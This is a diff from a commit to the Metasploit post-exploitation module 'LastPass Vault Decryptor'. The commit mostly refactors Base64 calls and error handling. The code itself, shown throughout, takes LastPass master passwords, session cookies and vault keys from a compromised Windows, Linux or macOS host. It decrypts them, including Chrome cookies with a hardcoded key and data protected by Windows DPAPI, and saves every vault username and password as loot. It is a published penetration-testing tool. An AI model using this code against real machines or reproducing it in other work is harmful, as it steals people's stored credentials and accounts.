1+ ##
2+ # This module requires Metasploit: http://metasploit.com/download
3+ # Current source: https://github.com/rapid7/metasploit-framework
4+ ##
5+
16require 'msf/core'
2- require 'base64'
37require 'sqlite3'
48require 'uri'
59require 'rex'
@@ -11,22 +15,26 @@ class Metasploit3 < Msf::Post
1115 include Msf ::Post ::Unix
1216
1317 def initialize ( info = { } )
14- super (
15- update_info (
16- info ,
17- 'Name' => 'LastPass Vault Decryptor' ,
18- 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords, encryption keys, 2FA tokens and all the vault passwords' ,
19- 'License' => MSF_LICENSE ,
20- 'Author' => [
18+ super ( update_info ( info ,
19+ 'Name' => 'LastPass Vault Decryptor' ,
20+ 'Description' => %q{
21+ This module extracts and decrypts LastPass master login accounts and passwords,
22+ encryption keys, 2FA tokens and all the vault passwords
23+ } ,
24+ 'License' => MSF_LICENSE ,
25+ 'Author' =>
26+ [
2127 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , # original module and research
2228 'Martin Vigo <martinvigo[at]gmail.com>' , # original module and research
23- 'Jon Hart <jon_hart[at]rapid7.com ' # module rework and cleanup
29+ 'Jon Hart' # module rework and cleanup
2430 ] ,
25- 'Platform' => %w( linux osx unix win ) ,
26- 'References' => [ [ 'URL' , 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ] ] ,
27- 'SessionTypes' => %w( meterpreter shell )
28- )
29- )
31+ 'Platform' => %w( linux osx unix win ) ,
32+ 'References' =>
33+ [
34+ [ 'URL' , 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
35+ ] ,
36+ 'SessionTypes' => %w( meterpreter shell )
37+ ) )
3038 end
3139
3240 def run
@@ -241,7 +249,7 @@ def ie_firefox_credentials(prefs_path, localstorage_db_path)
241249
242250 # Extract master passwords
243251 data = read_registry_key_value ( 'HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass' , "LoginPws" )
244- data = Base64 . encode64 ( data ) unless data . blank?
252+ data = Rex :: Text . encode_base64 ( data ) unless data . blank?
245253 else # Firefox
246254 loot_path = loot_file ( prefs_path , nil , 'firefox.preferences' , "text/javascript" , "Firefox preferences file" )
247255 return [ ] unless loot_path
@@ -278,7 +286,7 @@ def decrypt_data(key, encrypted_data)
278286
279287 if encrypted_data . include? ( "|" ) # Use CBC
280288 decipher = OpenSSL ::Cipher . new ( "AES-256-CBC" )
281- decipher . iv = Base64 . decode64 ( encrypted_data [ 1 , 24 ] ) # Discard ! and |
289+ decipher . iv = Rex :: Text . decode_base64 ( encrypted_data [ 1 , 24 ] ) # Discard ! and |
282290 encrypted_data = encrypted_data [ 26 ..-1 ] # Take only the data part
283291 else # Use ECB
284292 decipher = OpenSSL ::Cipher . new ( "AES-256-ECB" )
@@ -287,9 +295,9 @@ def decrypt_data(key, encrypted_data)
287295 begin
288296 decipher . decrypt
289297 decipher . key = key
290- decrypted_data = decipher . update ( Base64 . decode64 ( encrypted_data ) ) + decipher . final
291- rescue
292- vprint_error "Data could not be decrypted"
298+ decrypted_data = decipher . update ( Rex :: Text . decode_base64 ( encrypted_data ) ) + decipher . final
299+ rescue OpenSSL :: Cipher :: CipherError => e
300+ vprint_error "Data could not be decrypted. #{ e . message } "
293301 end
294302
295303 decrypted_data
@@ -461,12 +469,12 @@ def extract_vault_keys(account_map)
461469 end
462470
463471 # Decrypt the locally stored vault key
464- def decrypt_local_vault_key account , browser_map
472+ def decrypt_local_vault_key ( account , browser_map )
465473 data = nil
466474 session_cookie_value = nil
467475
468476 browser_map . each_pair do |browser , lp_data |
469- if browser == "IE"
477+ if browser == "IE" && directory? ( lp_data [ 'cookies_db' ] )
470478 cookies_files = dir ( lp_data [ 'cookies_db' ] )
471479 cookies_files . reject! { |u | %w( . .. ) . include? ( u ) }
472480 cookies_files . each do |cookie_jar_file |
@@ -496,8 +504,8 @@ def decrypt_local_vault_key account, browser_map
496504 db = SQLite3 ::Database . new ( loot_path )
497505 begin
498506 result = db . execute ( query )
499- rescue
500- vprint_error "No session cookie was found in #{ account } 's #{ browser } "
507+ rescue SQLite3 :: SQLException => e
508+ vprint_error "No session cookie was found in #{ account } 's #{ browser } ( #{ e . message } ) "
501509 next
502510 end
503511 next if result . blank? # No session cookie found for this browser
@@ -506,18 +514,18 @@ def decrypt_local_vault_key account, browser_map
506514 return if session_cookie_value . blank?
507515
508516 # Check if cookie value needs to be decrypted
509- if Base64 . encode64 ( session_cookie_value ) . match ( /^AQAAA.+/ ) # Windows Data protection API
510- session_cookie_value = windows_unprotect ( Base64 . encode64 ( session_cookie_value ) )
517+ if Rex :: Text . encode_base64 ( session_cookie_value ) . match ( /^AQAAA.+/ ) # Windows Data protection API
518+ session_cookie_value = windows_unprotect ( Rex :: Text . encode_base64 ( session_cookie_value ) )
511519 elsif session_cookie_value . match ( /^v10/ ) && browser . match ( /Chrome|Opera/ ) # Chrome/Opera encrypted cookie in Linux
512- decipher = OpenSSL ::Cipher . new ( "AES-256-CBC" )
513- decipher . decrypt
514- decipher . key = OpenSSL ::Digest ::SHA256 . hexdigest ( "peanuts" )
515- decipher . iv = " " * 16
516- session_cookie_value = session_cookie_value [ 3 ..-1 ] # Discard v10
517520 begin
521+ decipher = OpenSSL ::Cipher . new ( "AES-256-CBC" )
522+ decipher . decrypt
523+ decipher . key = OpenSSL ::Digest ::SHA256 . hexdigest ( "peanuts" )
524+ decipher . iv = " " * 16
525+ session_cookie_value = session_cookie_value [ 3 ..-1 ] # Discard v10
518526 session_cookie_value = decipher . update ( session_cookie_value ) + decipher . final
519- rescue
520- print_error "Cookie could not be decrypted"
527+ rescue OpenSSL :: Cipher :: CipherError => e
528+ print_error "Cookie could not be decrypted. #{ e . message } "
521529 end
522530 end
523531
@@ -625,7 +633,7 @@ def pbkdf2(password, salt, iterations, key_length)
625633 end
626634
627635 def windows_unprotect ( data )
628- data = Base64 . decode64 ( data )
636+ data = Rex :: Text . decode_base64 ( data )
629637 rg = session . railgun
630638 pid = session . sys . process . getpid
631639 process = session . sys . process . open ( pid , PROCESS_ALL_ACCESS )
@@ -675,7 +683,7 @@ def print_vault_passwords(account_map)
675683 end
676684
677685 # Parse vault
678- vault = Base64 . decode64 ( encoded_vault )
686+ vault = Rex :: Text . decode_base64 ( encoded_vault )
679687 vault . scan ( /ACCT/ ) do |result |
680688 chunk_length = vault [ $~. offset ( 0 ) [ 1 ] ..$~. offset ( 0 ) [ 1 ] + 3 ] . unpack ( "H*" ) . first . to_i ( 16 ) # Get the length in base 10 of the ACCT chunk
681689 chunk = vault [ $~. offset ( 0 ) [ 0 ] ..$~. offset ( 0 ) [ 1 ] + chunk_length ] # Get ACCT chunk
@@ -684,7 +692,11 @@ def print_vault_passwords(account_map)
684692 end
685693
686694 unless account_map . empty? # Loot passwords
687- print_good lastpass_vault_data_table . to_s
695+ if lastpass_vault_data_table . rows . empty?
696+ print_status ( 'No decrypted vaults.' )
697+ else
698+ print_good lastpass_vault_data_table . to_s
699+ end
688700 loot_file ( nil , lastpass_vault_data_table . to_csv , "#{ browser . downcase } .lastpass.passwords" , "text/csv" , "LastPass Vault Passwords from #{ username } " )
689701 end
690702 end
@@ -697,18 +709,19 @@ def parse_vault_account(chunk, vault_key)
697709 labels = [ "name" , "folder" , "url" , "notes" , "undefined" , "undefined2" , "username" , "password" ]
698710 vault_data = [ ]
699711 for label in labels
700- begin
701- length = chunk [ pointer ..pointer + 3 ] . unpack ( "H*" ) . first . to_i ( 16 )
702- encrypted_data = chunk [ pointer + 4 ..pointer + 4 + length - 1 ]
703- label != "url" ? decrypted_data = decrypt_vault_password ( vault_key , encrypted_data ) : decrypted_data = [ encrypted_data ] . pack ( "H*" )
704- decrypted_data = "" if decrypted_data . nil?
705- vault_data << decrypted_data if ( label == "url" || label == "username" || label == "password" )
706- pointer = pointer + 4 + length
707- rescue
708- vprint_error "Vault account could not be parsed"
712+ if chunk [ pointer ..pointer + 3 ] . nil?
713+ # Out of bound read
709714 return nil
710715 end
716+
717+ length = chunk [ pointer ..pointer + 3 ] . unpack ( "H*" ) . first . to_i ( 16 )
718+ encrypted_data = chunk [ pointer + 4 ..pointer + 4 + length - 1 ]
719+ label != "url" ? decrypted_data = decrypt_vault_password ( vault_key , encrypted_data ) : decrypted_data = [ encrypted_data ] . pack ( "H*" )
720+ decrypted_data = "" if decrypted_data . nil?
721+ vault_data << decrypted_data if ( label == "url" || label == "username" || label == "password" )
722+ pointer = pointer + 4 + length
711723 end
724+
712725 return vault_data [ 0 ] == "http://sn" ? nil : vault_data # TODO: Support secure notes
713726 end
714727
@@ -727,8 +740,8 @@ def decrypt_vault_password(key, encrypted_data)
727740
728741 begin
729742 return decipher . update ( encrypted_data ) + decipher . final
730- rescue
731- vprint_error "Vault password could not be decrypted"
743+ rescue OpenSSL :: Cipher :: CipherError
744+ vprint_error "Vault password could not be decrypted with key #{ key } "
732745 return nil
733746 end
734747 end
@@ -768,8 +781,8 @@ def read_registry_key_value(key, value)
768781 return nil unless reg_key
769782 reg_value = reg_key . query_value ( value )
770783 return nil unless reg_value
771- rescue
772- vprint_error "Error reading registry key #{ key } and value #{ value } "
784+ rescue Rex :: Post :: Meterpreter :: RequestError => e
785+ vprint_error ( " #{ e . message } ( #{ key } \\ #{ value } )" )
773786 end
774787 reg_key . close if reg_key
775788 return reg_value . blank? ? nil : reg_value . data
0 commit comments